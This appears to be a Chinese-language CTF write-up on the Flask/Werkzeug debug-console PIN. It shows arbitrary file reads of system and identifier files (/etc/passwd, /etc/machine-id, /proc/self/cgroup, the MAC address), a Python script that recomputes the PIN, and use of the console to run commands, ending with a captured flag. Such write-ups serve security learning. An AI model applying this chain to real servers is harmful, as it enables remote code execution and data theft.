flask

1.debug——PIN

考点:最新版本werkzeugd下的flask_pin码的求值

Flask debug pin的安全问题详细分析参考看https://xz.aliyun.com/t/2553,且大佬也给出了利用脚本。需要重点关注的也就是6个参数

username 启动这个Flask的用户

modname 一般默认flask.app

getattr(app, ‘name’, getattr(app.class, ‘name‘)) 一般默认flask.app为Flask

getattr(mod, ‘file’, None)为flask目录下的一个app.py的绝对路径,可在报错页面看到

str(uuid.getnode()) 则是网卡mac地址的十进制表达式

get_machine_id() 系统id

由于pin码构建需要这6个参数,但不同环境下,参数会有变化,除了默认不变的参数,其他参数我们可以这样获得:

username

可以从/etc/passwd或者/proc/self/environ环境变量中读取

网卡地址

读取这两个地址:/sys/class/net/eth0/address或/sys/class/net/ens33/address

getattr(mod, ‘file’, None)

flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个坑,python3是app.py,python2中是app.pyc

machine_id()

linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i

windows读取注册表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

对于docker机则读取读取/proc/self/cgroup获取get_machine_id()(docker后面那段字符串):

但是注意的是Flask下的werzeug版本在在2020年1月5号就发生了更新,代码发生了变化,因此要再读取到machine_id()的值的话需要先读取/etc/machine-id,再读取/proc/self/cgroup,并将第一个获取到的值与第二个获取到的id值进行拼接

详细文章说明:https://cloud.tencent.com/developer/article/1657739

当然如果指定了Werkzeug版本就可以避免该情况

Flask==1.0.2

Werkzeug==0.14.1

就可以像网上很多文章所写的一样可以正常构造了。至于对于我们这道题就只能是拼接出machine_id了。最终POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485376923487',# str(uuid.getnode()), /sys/class/net/ens33/address
'c31eea55a29431535ff01de94bdcf5cf415fe597d35eb4e23fd2a991b6d2225599f4e20039e85b0f7d83e706215e8054'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

至于这6个参数这样获得:

1)首先通过dirsearch探测到存在file目录

访问后给出提示

2)尝试任意文件读取,很明显只有一个root用户具有登录权限,所以它很明显就是启动这个Flask的用户。

3)而从首页的debug报错页面又可以得到flask目录下的一个app.py的绝对路径

4)/file?filename=/sys/class/net/eth0/address 读取第五个参数

但这个值得注意的是需要将冒号去掉,然后转为十进制

5)/file?filename=/etc/machine-id获得的值与/file?filename=/proc/self/cgroup获得的容器id进行拼接,结果:6a7b652f3677464382b49ac8dc35ba0f4c56263c62231cb4bcc1223c454dd50a3176463b7342f00dc64795372edd9a7f

运行结果

回到首页

单击这个图标输入我们得到的pin码就可以进入控制终端了,通过popen进行执行命令。

Flag:flag{873894c49201cd995ee2c52e6270630d}

补充:

非预期:

任意文件读取环境变量,可以直接读取到flag。